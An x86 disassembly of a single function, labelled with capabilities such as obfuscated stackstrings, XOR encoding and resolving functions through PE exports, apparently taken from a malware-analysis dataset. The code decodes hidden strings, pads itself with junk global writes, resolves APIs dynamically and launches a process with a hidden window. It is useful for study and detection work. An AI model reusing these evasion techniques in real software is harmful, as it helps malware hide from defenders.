Function at 0x41b4d8
Capabilities:
Contain obfuscated stackstrings
Encode data using xor
Resolve function by parsing pe exports

Disassembly:
sub esp, 0x1dc
push ebx
push ebp
push esi
push edi
push 0x5c
pop eax
xor ebx, ebx
mov word [esp + 0x18], 0x4856
mov byte [esp + 0x1a], al
mov ecx, ebx
mov al, byte [esp + ecx + 0x18]
xor al, 0x3b
mov byte [esp + ecx + 0x8c], al
inc ecx
cmp ecx, 3
jl 0x41b4f4
mov byte [esp + 0x8f], bl
mov ecx, ebx
mov dword [esp + 0x1c], 0xfaf70502
mov word [esp + 0x20], 0x8fb
mov al, byte [esp + ecx + 0x1c]
add al, 0x6a
mov byte [esp + ecx + 0xa0], al
inc ecx
cmp ecx, 6
jl 0x41b51f
add byte [0x42ca73], 0x42
lea edx, [esp + 0xa0]
mov eax, 0x4bbc
mov byte [esp + 0xa6], bl
or ax, word [0x42ca6c]
lea ecx, [esp + 0x8c]
mov word [0x42ca64], ax
call fcn.0041d967
movzx ecx, byte [0x42ca6f]
mov ebp, eax
mov eax, 0x6995
mov dword [esp + 0x1c], ebp
or cx, ax
mov word [0x42ca64], cx
xor cl, 0x15
mov byte [0x42ca73], cl
test ebp, ebp
je 0x41be90
mov al, byte [0x42ca7b]
add al, 0x54
mov byte [0x42ca5c], al
mov al, byte [0x42ca6c]
and al, 0x22
mov byte [0x42ca73], al
add al, 0xe
push 0x1000
mov byte [0x42ca7b], al
call fcn.0040570b
mov edi, eax
pop ecx
test edi, edi
je 0x41be7d
mov bx, word [0x42ca68]
mov eax, 0xdc14
mov dl, byte [0x42ca5c]
or bx, ax
movzx eax, dl
mov esi, 0x13e6
imul eax, eax, 0xdd
xor dl, 0xad
and dword [esp + 0x2c], 0
lea ecx, [ebx - 0x57]
mov word [esp + 0x14], 0x7c
mov byte [0x42ca6f], cl
xor ebx, 0x9ce7
mov word [0x42ca64], bx
mov byte [0x42ca73], al
movzx eax, al
add ax, si
mov word [0x42ca68], ax
mov al, dl
or al, 0x8b
or dl, 0xb1
mov byte [0x42ca7b], al
movzx eax, cl
mov ecx, 0x382d
add ax, cx
mov byte [0x42ca5c], dl
mov word [0x42ca6c], ax
lea eax, [esp + 0x2c]
push eax
lea eax, [esp + 0x18]
push eax
push ebp
call fcn.00405d9c
mov cl, byte [0x42ca6f]
mov esi, eax
add cl, 0xfa
add esp, 0xc
mov byte [0x42ca6f], cl
test esi, esi
je 0x41be6a
push 0x5c
pop ebp
mov al, cl
mov word [esp + 0x18], 0x20
sub al, 0x6c
movzx ecx, cl
mov byte [0x42ca73], al
xor ebx, ebx
mov eax, 0x850f
mov dword [esp + 0x94], ebx
imul ecx, eax
mov eax, ecx
and ecx, 0x319
or eax, 0x48ff
mov word [0x42ca64], cx
mov word [0x42ca6c], ax
lea eax, [esp + 0x18]
push eax
push esi
call fcn.00405c00
pop ecx
pop ecx
test eax, eax
je 0x41b708
mov al, byte [0x42ca73]
mov cl, byte [0x42ca7b]
and al, 0x51
and cl, 0x88
mov byte [0x42ca5c], al
movzx eax, cl
mov byte [0x42ca7b], cl
mov ecx, 0x6f30
or ax, cx
mov ecx, esi
mov word [0x42ca6c], ax
mov al, byte [0x42ca64]
or al, 5
mov byte [0x42ca73], al
call fcn.00422e3e
mov ebx, eax
mov dword [esp + 0x94], eax
mov cl, byte [0x42ca64]
mov eax, 0xa2fb
or word [0x42ca6c], ax
sub cl, 0x24
lea eax, [esp + 0x2c]
mov byte [0x42ca7b], 0x11
push eax
lea eax, [esp + 0x18]
mov byte [0x42ca5c], cl
push eax
push 0
call fcn.00405d9c
movzx ecx, byte [0x42ca6f]
add esp, 0xc
imul ecx, ecx, 0xe0
mov byte [0x42ca7b], cl
mov ecx, 0xbf56
or cx, word [0x42ca6c]
cmp byte [eax], 0x31
mov word [0x42ca64], cx
jne 0x41b78f
mov eax, 0x7cc
mov ecx, 0xc4f8
add word [0x42ca68], ax
mov al, byte [0x42ca5c]
xor al, 0xfe
mov word [0x42ca64], cx
mov byte [0x42ca73], al
jmp 0x41b794
mov al, byte [0x42ca73]
add al, 3
mov byte [0x42ca6f], al
lea eax, [esp + 0x2c]
push eax
lea eax, [esp + 0x18]
push eax
push 0
call fcn.00405d9c
mov cl, byte [0x42ca64]
add esp, 0xc
or cl, 0xc2
mov esi, eax
mov byte [0x42ca73], cl
lea eax, [esp + 0x9c]
mov cl, byte [0x42ca5c]
add cl, 0x6f
movzx ecx, cl
imul ecx, ecx, 0x14
push eax
push esi
mov byte [0x42ca5c], cl
and cl, 0xa5
mov byte [0x42ca6f], cl
call fcn.00405b40
pop ecx
mov edx, eax
mov ecx, esi
call fcn.0040f780
mov dl, byte [0x42ca7b]
mov dword [esp + 0x9c], eax
pop ecx
lea ecx, [edx - 0xf]
mov byte [0x42ca6f], cl
test eax, eax
je 0x41bddf
mov dword [esp + 0x24], 0x9d808899
xor ecx, ecx
mov al, byte [esp + ecx + 0x24]
xor al, 0xed
movzx eax, al
mov word [esp + ecx*2 + 0xa8], ax
inc ecx
cmp ecx, 4
jl 0x41b81f
xor eax, eax
mov ecx, 0x171a
mov word [esp + 0xb0], ax
mov edx, 0x1a52823b
mov al, byte [0x42ca64]
xor al, 0x74
mov byte [0x42ca6f], al
movzx eax, byte [0x42ca5c]
and ax, cx
mov ecx, 0x56a9
mov word [0x42ca6c], ax
movzx eax, byte [0x42ca73]
sub ax, cx
xor ecx, ecx
push 0x800
mov word [0x42ca68], ax
inc ecx
lea eax, [esp + 0xac]
push edi
push eax
call fcn.00415333
call eax
test eax, eax
je 0x41bdc0
xor eax, eax
mov word [esp + 0x90], bp
mov word [esp + 0x92], ax
xor ecx, ecx
mov dword [esp + 0x28], 0x213c216a
mov al, byte [esp + ecx + 0x28]
xor al, 0x44
movzx eax, al
mov word [esp + ecx*2 + 0xb4], ax
inc ecx
cmp ecx, 4
jl 0x41b8b7
xor eax, eax
mov ecx, 0xbf9f
mov word [esp + 0xbc], ax
movzx eax, byte [0x42ca6f]
xor ax, cx
mov ecx, 0x6a68
add ax, cx
mov ecx, 0x4cff
mov word [0x42ca68], ax
mov al, byte [0x42ca5c]
add al, 0x71
mov byte [0x42ca7b], al
movzx eax, al
add ax, cx
lea ecx, [esp + 0x128]
mov word [0x42ca6c], ax
mov al, byte [0x42ca73]
sub al, 0x23
push 0xf
pop edx
mov byte [0x42ca5c], al
call fcn.00422b6e
movzx eax, byte [0x42ca5c]
mov ecx, 0x5c1e
sub ax, cx
mov word [0x42ca64], ax
lea eax, [esp + 0x90]
push eax
push edi
call fcn.00405bcb
mov eax, 0x1f08
or ax, word [0x42ca64]
mov word [0x42ca68], ax
lea eax, [esp + 0x130]
push eax
push edi
call fcn.00405bcb
mov al, byte [0x42ca6c]
add byte [0x42ca73], 0x5b
add al, 0x54
mov byte [0x42ca5c], al
lea eax, [esp + 0xc4]
push eax
push edi
call fcn.00405bcb
mov al, byte [0x42ca7b]
mov ecx, 0x1ca2
push dword [esp + 0xb4]
mov edx, dword [esp + 0xb4]
sub al, 0x51
mov byte [0x42ca5c], al
movzx eax, byte [0x42ca73]
sub ax, cx
mov ecx, edi
mov word [0x42ca68], ax
call fcn.00422cd0
add esp, 0x1c
test al, al
je 0x41bdb4
mov bh, byte [0x42ca7b]
mov bl, byte [0x42ca64]
movzx eax, bh
xor bl, 0xe0
imul eax, eax, 0x15
xor bh, 0x40
push 0x40
push 0
add bl, 0xf
mov byte [0x42ca73], bh
mov byte [0x42ca5c], bl
mov byte [0x42ca6f], al
lea eax, [esp + 0xec]
push eax
mov dword [esp + 0xec], 0x44
call fcn.00403960
mov eax, 0x65e8
mov ecx, 0x5f82
or ax, word [0x42ca68]
add esp, 0xc
mov word [0x42ca64], ax
and bl, 0xa7
movzx eax, bh
mov edx, 0x322e7433
xor ax, cx
mov byte [0x42ca7b], bl
mov word [0x42ca68], ax
mov ecx, 0x15fb
xor eax, eax
mov word [esp + 0x110], ax
movzx eax, bh
mov ebx, dword [esp + 0x94]
or ax, cx
mov word [0x42ca6c], ax
xor ecx, ecx
lea eax, [esp + 0xd0]
inc ecx
push eax
lea eax, [esp + 0xe4]
push eax
xor eax, eax
push eax
push eax
push 0x8000000
push eax
push eax
push eax
push ebx
push edi
call fcn.00415333
call eax
test eax, eax
je 0x41bd94
mov dword [esp + 0x38], 0x8330733f
xor ecx, ecx
mov dword [esp + 0x3c], 0x71847873
mov dword [esp + 0x40], 0x30837b83
mov dword [esp + 0x44], 0x7582733f
mov dword [esp + 0x48], 0x30758471
mov dword [esp + 0x4c], 0x3f30563f
mov dword [esp + 0x50], 0x7d307383
mov dword [esp + 0x54], 0x84857e79
mov dword [esp + 0x58], 0x7d3f3075
mov dword [esp + 0x5c], 0x4541307f
mov dword [esp + 0x60], 0x82843f30
mov dword [esp + 0x64], 0x7c353230
mov dword [esp + 0x68], 0x3f303283
mov dword [esp + 0x6c], 0x32307e84
mov dword [esp + 0x70], 0x7e79676c
mov dword [esp + 0x74], 0x83877f74
mov dword [esp + 0x78], 0x60808051
mov dword [esp + 0x7c], 0x6c7c7f7f
mov dword [esp + 0x80], 0x32837c35
movzx eax, byte [esp + ecx + 0x38]
mov edx, 0xff
sub ax, 0x10
and ax, dx
mov word [esp + ecx*2 + 0x148], ax
inc ecx
cmp ecx, 0x4c
jl 0x41bb3d
xor eax, eax
or byte [0x42ca7b], 0xa3
mov word [esp + 0x1e0], ax
mov ecx, 0x69ac
movzx eax, byte [0x42ca68]
imul eax, eax, 0xe6
mov byte [0x42ca73], al
movzx eax, al
add ax, cx
movzx ecx, byte [0x42ca5c]
mov word [0x42ca64], ax
mov eax, 0xb0a0
imul ecx, eax
lea eax, [esp + 0x128]
push eax
lea eax, [esp + 0x14c]
push edi
push eax
mov word [0x42ca68], cx
call fcn.004233ac
movzx ecx, byte [0x42ca7b]
mov esi, eax
imul ecx, ecx, 0xe8
add esp, 0xc
mov byte [0x42ca7b], cl
test esi, esi
je 0x41bdc0
mov dword [esp + 0x30], 0xfec0c2ee
xor ecx, ecx
mov word [esp + 0x34], 0xc8dd
mov byte [esp + 0x36], 0xce
mov al, byte [esp + ecx + 0x30]
xor al, 0xad
movzx eax, al
mov word [esp + ecx*2 + 0xc0], ax
inc ecx
cmp ecx, 7
jl 0x41bbf2
mov cl, byte [0x42ca64]
xor eax, eax
mov word [esp + 0xce], ax
mov edx, 0x1a52823b
mov al, cl
and cl, 0x27
sub al, 0x35
mov byte [0x42ca7b], cl
mov cx, word [0x42ca6c]
mov byte [0x42ca5c], al
mov al, cl
sub al, 0x17
mov byte [0x42ca73], al
mov eax, 0xf689
or ax, cx
xor ecx, ecx
push 0x800
mov word [0x42ca64], ax
inc ecx
lea eax, [esp + 0xc4]
push edi
push eax
call fcn.00415333
call eax
test eax, eax
je 0x41bd63
mov cl, byte [0x42ca7b]
mov edx, 0xb3fd
movzx eax, cl
add cl, 0xa1
and ax, dx
mov byte [0x42ca7b], cl
mov word [0x42ca64], ax
mov al, byte [0x42ca68]
sub al, 0x38
push 0x44
mov byte [0x42ca6f], al
lea eax, [esp + 0xe4]
push 0
push eax
call fcn.00403960
mov eax, 0x902b
mov dword [esp + 0xec], 0x44
xor ax, word [0x42ca64]
mov ecx, 0x3273
mov word [0x42ca6c], ax
add esp, 0xc
movzx eax, byte [0x42ca6f]
mov edx, 0x322e7433
add ax, cx
mov cl, byte [0x42ca7b]
mov word [0x42ca64], ax
mov al, cl
sub al, 3
mov byte [0x42ca73], al
xor eax, eax
mov word [esp + 0x110], ax
mov al, cl
add al, 0x43
movzx eax, al
imul eax, eax, 0xdd
mov byte [0x42ca5c], al
movzx eax, cl
xor ecx, ecx
imul eax, eax, 0xc9
inc ecx
mov byte [0x42ca6f], al
lea eax, [esp + 0xd0]
push eax
lea eax, [esp + 0xe4]
push eax
xor eax, eax
push eax
push eax
push 0x8000000
push eax
push eax
push eax
push esi
push edi
call fcn.00415333
call eax
test eax, eax
jne 0x41bd63
mov cl, byte [0x42ca7b]
mov edx, 0xd678
movzx eax, cl
xor ax, dx
mov word [0x42ca6c], ax
jmp 0x41bd6f
mov ax, word [0x42ca6c]
mov cl, byte [0x42ca7b]
xor al, 0xa3
add cl, 0x27
mov byte [0x42ca7b], al
mov al, byte [0x42ca73]
add al, 0x2c
mov byte [0x42ca5c], cl
push esi
mov byte [0x42ca6f], al
call fcn.004056f0
pop ecx
jmp 0x41bdc0
mov cx, word [0x42ca6c]
mov eax, 0x4038
add ax, cx
xor cl, 0xd5
mov word [0x42ca68], ax
mov byte [0x42ca7b], cl
jmp 0x41bdc0
mov eax, 0x7947
add word [0x42ca68], ax
mov al, byte [0x42ca6f]
push dword [esp + 0x98]
xor al, 0x96
mov byte [0x42ca5c], al
call fcn.004056f0
mov dl, byte [0x42ca7b]
pop ecx
movzx eax, byte [0x42ca73]
mov ecx, 0x38eb
and ax, cx
movzx ecx, word [0x42ca68]
mov word [0x42ca6c], ax
mov eax, 0x202f
imul ecx, eax
movzx eax, dl
push ebx
mov word [0x42ca64], cx
mov ecx, 0x25fd
xor ax, cx
mov word [0x42ca68], ax
call fcn.004056f0
movzx eax, byte [0x42ca6f]
mov ecx, 0xc950
or ax, cx
mov word [0x42ca68], ax
xor eax, 0x6380
mov word [0x42ca6c], ax
lea eax, [esp + 0x30]
push eax
lea eax, [esp + 0x1c]
push eax
push 0
call fcn.00405d9c
mov esi, eax
add esp, 0x10
test esi, esi
je 0x41be66
mov cl, byte [0x42ca6f]
jmp 0x41b671
mov ebp, dword [esp + 0x1c]
mov al, byte [0x42ca7b]
add al, 0x48
push edi
mov byte [0x42ca73], al
call fcn.004056f0
pop ecx
mov al, byte [0x42ca7b]
or al, 7
push ebp
mov byte [0x42ca6f], al
call fcn.004056f0
pop ecx
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x1dc
ret